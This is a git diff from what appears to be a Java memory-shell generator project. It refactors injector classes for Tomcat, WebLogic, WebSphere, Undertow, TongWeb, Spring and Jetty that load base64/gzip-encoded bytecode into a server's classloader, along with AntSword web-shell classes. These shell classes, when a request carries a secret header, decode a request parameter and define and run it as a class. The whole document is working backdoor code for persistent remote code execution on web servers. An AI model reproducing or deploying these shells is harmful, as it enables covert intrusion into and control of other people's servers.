     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
         Class<?> clazz = obj.getClass();
         while (clazz != Object.class) {
             try {
-                field = clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-                break;
+                field.setAccessible(true);
+                return field.get(obj);
             } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (field == null) {
+        throw new NoSuchFieldException();
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebflux/SpringWebFluxWebFilterInjector.java

@@ -111,21 +111,16 @@ public class SpringWebFluxWebFilterInjector {
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
         Class<?> clazz = obj.getClass();
         while (clazz != Object.class) {
             try {
-                field = clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-                break;
+                field.setAccessible(true);
+                return field.get(obj);
             } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (field == null) {
+        throw new NoSuchFieldException();
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/injector/springwebmvc/SpringWebMvcFrameworkServletAgentInjector.java

@@ -157,46 +157,4 @@ public class SpringWebMvcFrameworkServletAgentInjector implements ClassFileTrans
             return index;
         }
     }
-
-    @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) {
-        Class<?> decoderClass;
-        try {
-            decoderClass = Class.forName("java.util.Base64");
-            Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
-            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
-        } catch (Exception ignored) {
-            try {
-                decoderClass = Class.forName("sun.misc.BASE64Decoder");
-                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-            } catch (Exception e) {
-                throw new RuntimeException(e);
-            }
-        }
-    }
-
-    @SuppressWarnings("all")
-    public static byte[] gzipDecompress(byte[] compressedData) {
-        ByteArrayOutputStream out = new ByteArrayOutputStream();
-        GZIPInputStream gzipInputStream = null;
-        try {
-            gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
-            byte[] buffer = new byte[4096];
-            int n;
-            while ((n = gzipInputStream.read(buffer)) > 0) {
-                out.write(buffer, 0, n);
-            }
-            return out.toByteArray();
-        } catch (Exception e) {
-            throw new RuntimeException(e);
-        } finally {
-            try {
-                if (gzipInputStream != null) {
-                    gzipInputStream.close();
-                }
-                out.close();
-            } catch (Exception ignored) {
-            }
-        }
-    }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatContextValveAgentInjector.java

@@ -163,21 +163,16 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
         }
     }
 
-
     @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) {
+    public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
         try {
             decoderClass = Class.forName("java.util.Base64");
             Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
         } catch (Exception ignored) {
-            try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-                decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-            } catch (Exception e) {
-                throw new RuntimeException(e);
-            }
         }
     }
 
@@ -213,8 +208,8 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
             return;
         } catch (ClassNotFoundException ignored) {
         }
-        byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
         try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
             java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             defineClass.invoke(loader, classBytecode, 0, classBytecode.length);

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterChainAgentInjector.java

@@ -164,19 +164,15 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
     }
 
     @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) {
+    public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
         try {
             decoderClass = Class.forName("java.util.Base64");
             Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
         } catch (Exception ignored) {
-            try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-                decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-            } catch (Exception e) {
-                throw new RuntimeException(e);
-            }
         }
     }
 
@@ -212,8 +208,8 @@ public class TomcatFilterChainAgentInjector implements ClassFileTransformer {
             return;
         } catch (ClassNotFoundException ignored) {
         }
-        byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
         try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
             java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             defineClass.invoke(loader, classBytecode, 0, classBytecode.length);

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatFilterInjector.java

@@ -201,18 +201,17 @@ public class TomcatFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatWebSocketInjector.java

@@ -190,19 +190,18 @@ public class TomcatWebSocketInjector {
 
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 
 }

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebContextValveAgentInjector.java

@@ -166,19 +166,15 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
     }
 
     @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) {
+    public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
         try {
             decoderClass = Class.forName("java.util.Base64");
             Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
         } catch (Exception ignored) {
-            try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-                decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-            } catch (Exception e) {
-                throw new RuntimeException(e);
-            }
         }
     }
 
@@ -214,8 +210,8 @@ public class TongWebContextValveAgentInjector implements ClassFileTransformer {
             return;
         } catch (ClassNotFoundException ignored) {
         }
-        byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
         try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
             java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             defineClass.invoke(loader, classBytecode, 0, classBytecode.length);

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterChainAgentInjector.java

@@ -174,19 +174,15 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
     }
 
     @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) {
+    public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
         try {
             decoderClass = Class.forName("java.util.Base64");
             Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
         } catch (Exception ignored) {
-            try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-                decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-            } catch (Exception e) {
-                throw new RuntimeException(e);
-            }
         }
     }
 
@@ -222,8 +218,8 @@ public class TongWebFilterChainAgentInjector implements ClassFileTransformer {
             return;
         } catch (ClassNotFoundException ignored) {
         }
-        byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
         try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
             java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             defineClass.invoke(loader, classBytecode, 0, classBytecode.length);

memshell/src/main/java/com/reajason/javaweb/memshell/injector/tongweb/TongWebFilterInjector.java

@@ -195,18 +195,17 @@ public class TongWebFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowListenerInjector.java

@@ -144,19 +144,18 @@ public class UndertowListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/injector/undertow/UndertowServletHandlerAgentInjector.java

@@ -164,19 +164,15 @@ public class UndertowServletHandlerAgentInjector implements ClassFileTransformer
     }
 
     @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) {
+    public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
         try {
             decoderClass = Class.forName("java.util.Base64");
             Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
         } catch (Exception ignored) {
-            try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-                decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-            } catch (Exception e) {
-                throw new RuntimeException(e);
-            }
         }
     }
 
@@ -212,8 +208,8 @@ public class UndertowServletHandlerAgentInjector implements ClassFileTransformer
             return;
         } catch (ClassNotFoundException ignored) {
         }
-        byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
         try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
             java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             defineClass.invoke(loader, classBytecode, 0, classBytecode.length);

memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicFilterInjector.java

@@ -245,18 +245,17 @@ public class WebLogicFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicListenerInjector.java

@@ -227,18 +227,17 @@ public class WebLogicListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletContextAgentInjector.java

@@ -214,19 +214,15 @@ public class WebLogicServletContextAgentInjector implements ClassFileTransformer
     }
 
     @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) {
+    public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
         try {
             decoderClass = Class.forName("java.util.Base64");
             Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
         } catch (Exception ignored) {
-            try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-                decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-            } catch (Exception e) {
-                throw new RuntimeException(e);
-            }
         }
     }
 
@@ -262,8 +258,8 @@ public class WebLogicServletContextAgentInjector implements ClassFileTransformer
             return;
         } catch (ClassNotFoundException ignored) {
         }
-        byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
         try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
             java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             defineClass.invoke(loader, classBytecode, 0, classBytecode.length);

memshell/src/main/java/com/reajason/javaweb/memshell/injector/weblogic/WebLogicServletInjector.java

@@ -231,16 +231,17 @@ public class WebLogicServletInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass(); clazz != Object.class; clazz = clazz.getSuperclass()) {
+        Class<?> clazz = obj.getClass();
+        while (clazz != Object.class) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereFilterChainAgentInjector.java

@@ -164,19 +164,15 @@ public class WebSphereFilterChainAgentInjector implements ClassFileTransformer {
     }
 
     @SuppressWarnings("all")
-    public static byte[] decodeBase64(String base64Str) {
+    public static byte[] decodeBase64(String base64Str) throws Exception {
         Class<?> decoderClass;
         try {
             decoderClass = Class.forName("java.util.Base64");
             Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
             return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
         } catch (Exception ignored) {
-            try {
+            decoderClass = Class.forName("sun.misc.BASE64Decoder");
-                decoderClass = Class.forName("sun.misc.BASE64Decoder");
+            return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-                return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
-            } catch (Exception e) {
-                throw new RuntimeException(e);
-            }
         }
     }
 
@@ -212,8 +208,8 @@ public class WebSphereFilterChainAgentInjector implements ClassFileTransformer {
             return;
         } catch (ClassNotFoundException ignored) {
         }
-        byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
         try {
+            byte[] classBytecode = gzipDecompress(decodeBase64(getBase64String()));
             java.lang.reflect.Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
             defineClass.setAccessible(true);
             defineClass.invoke(loader, classBytecode, 0, classBytecode.length);

memshell/src/main/java/com/reajason/javaweb/memshell/injector/websphere/WebSphereServletInjector.java

@@ -137,19 +137,18 @@ public class WebSphereServletInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    public static Object getFieldValue(Object obj, String name) throws Exception {
-        for (Class<?> clazz = obj.getClass();
+        Class<?> clazz = obj.getClass();
-             clazz != Object.class;
+        while (clazz != Object.class) {
-             clazz = clazz.getSuperclass()) {
             try {
                 Field field = clazz.getDeclaredField(name);
                 field.setAccessible(true);
                 return field.get(obj);
-            } catch (NoSuchFieldException ignored) {
+            } catch (NoSuchFieldException var5) {
-
+                clazz = clazz.getSuperclass();
             }
         }
-        throw new NoSuchFieldException(name);
+        throw new NoSuchFieldException();
     }
 
     @SuppressWarnings("all")

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSword.java

@@ -21,14 +21,14 @@ public class AntSword extends ClassLoader {
     @Override
     public boolean equals(Object obj) {
         Object[] args = ((Object[]) obj);
-        Object request = unwrapRequest(args[0]);
+        Object request = unwrap(args[0], "request");
-        Object response = unwrapResponse(args[1]);
+        Object response = unwrap(args[1], "response");
         try {
             String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
             if (value != null && value.contains(headerValue)) {
                 String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
                 byte[] bytes = base64Decode(parameter);
-                Object instance = (new AntSword(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = (new AntSword(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(new Object[]{request, response});
                 return true;
             }
@@ -38,79 +38,38 @@ public class AntSword extends ClassLoader {
         return false;
     }
 
-    @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
-        return defineClass(b, 0, b.length);
-    }
-
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
-        ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
         try {
-            base64 = contextClassLoader.loadClass("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = contextClassLoader.loadClass("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-        }
-        return value;
-    }
-
-    @SuppressWarnings("all")
-    public Object unwrapRequest(Object request) {
-        Object internalRequest = request;
-        while (true) {
-            try {
-                Object r = getFieldValue(request, "request");
-                if (r == internalRequest) {
-                    return r;
-                } else {
-                    internalRequest = r;
-                }
-            } catch (Exception e) {
-                return internalRequest;
-            }
         }
     }
 
     @SuppressWarnings("all")
-    public Object unwrapResponse(Object response) {
+    public Object unwrap(Object obj, String fieldName) {
-        Object internalResponse = response;
+        try {
-        while (true) {
+            return getFieldValue(obj, fieldName);
-            try {
+        } catch (Throwable e) {
-                Object r = getFieldValue(response, "response");
+            return obj;
-                if (r == internalResponse) {
-                    return r;
-                } else {
-                    internalResponse = r;
-                }
-            } catch (Exception e) {
-                return internalResponse;
-            }
         }
     }
 
     @SuppressWarnings("all")
     public static Object getFieldValue(Object obj, String name) throws Exception {
-        Field field = null;
         Class<?> clazz = obj.getClass();
         while (clazz != Object.class) {
             try {
-                field = clazz.getDeclaredField(name);
+                Field field = clazz.getDeclaredField(name);
-                break;
+                field.setAccessible(true);
+                return field.get(obj);
             } catch (NoSuchFieldException var5) {
                 clazz = clazz.getSuperclass();
             }
         }
-        if (field == null) {
+        throw new NoSuchFieldException();
-            throw new NoSuchFieldException(name);
-        } else {
-            field.setAccessible(true);
-            return field.get(obj);
-        }
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordControllerHandler.java

@@ -26,7 +26,7 @@ public class AntSwordControllerHandler extends ClassLoader implements Controller
         if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
             try {
                 byte[] bytes = base64Decode(request.getParameter(pass));
-                Object instance = (new AntSwordControllerHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = (new AntSwordControllerHandler(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(new Object[]{request, response});
             } catch (Throwable e) {
                 e.printStackTrace();
@@ -35,24 +35,14 @@ public class AntSwordControllerHandler extends ClassLoader implements Controller
         return null;
     }
 
-    @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
-        return defineClass(b, 0, b.length);
-    }
-
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 }

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java

@@ -30,7 +30,7 @@ public class AntSwordFilter extends ClassLoader implements Filter {
             if (request.getHeader(this.headerName) != null
                     && request.getHeader(this.headerName).contains(this.headerValue)) {
                 byte[] bytes = base64Decode(request.getParameter(pass));
-                Object instance = (new AntSwordFilter(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = (new AntSwordFilter(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(new Object[]{request, response});
                 return;
             }
@@ -40,25 +40,15 @@ public class AntSwordFilter extends ClassLoader implements Filter {
         filterChain.doFilter(servletRequest, servletResponse);
     }
 
-    @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
-        return super.defineClass(b, 0, b.length);
-    }
-
     @SuppressWarnings("all")
     public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
         try {
-            base64 = Class.forName("java.util.Base64");
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
         } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
-            Object decoder = base64.newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
         }
-        return value;
     }
 
     @Override

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordInterceptor.java

@@ -27,7 +27,7 @@ public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInte
         if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
             try {
                 byte[] bytes = base64Decode(request.getParameter(pass));
-                Object instance = (new AntSwordInterceptor(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = (new AntSwordInterceptor(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(new Object[]{request, response});
             } catch (Throwable e) {
                 e.printStackTrace();
@@ -39,8 +39,14 @@ public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInte
     }
 
     @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
+    public static byte[] base64Decode(String bs) throws Exception {
-        return super.defineClass(b, 0, b.length);
+        try {
+            Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
+            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
+        } catch (Exception var6) {
+            Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
+            return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
+        }
     }
 
     @Override
@@ -53,22 +59,6 @@ public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInte
 
     }
 
-    @SuppressWarnings("all")
-    public static byte[] base64Decode(String bs) throws Exception {
-        byte[] value = null;
-        Class<?> base64;
-        try {
-            base64 = Class.forName("java.util.Base64");
-            Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
-            value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
-        } catch (Exception var6) {
-            base64 = Class.forName("sun.misc.BASE64Decoder");
-            Object decoder = base64.newInstance();
-            value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
-        }
-        return value;
-    }
-
     @Override
     public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
 

memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordJettyHandler.java

@@ -43,7 +43,7 @@ public class AntSwordJettyHandler extends ClassLoader {
             if (value != null && value.contains(headerValue)) {
                 String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
                 byte[] bytes = base64Decode(parameter);
-                Object instance = (new AntSwordJettyHandler(Thread.currentThread().getContextClassLoader())).g(bytes).newInstance();
+                Object instance = (new AntSwordJettyHandler(Thread.currentThread().getContextClassLoader())).defineClass(bytes, 0, bytes.length).newInstance();
                 instance.equals(new Object[]{request, response});
                 if (baseRequest != null) {
                     baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true);
@@ -56,24 +56,14 @@ public class AntSwordJettyHandler extends ClassLoader {
         return false;
     }
 
-    @SuppressWarnings("all")
-    public Class<?> g(byte[] b) {
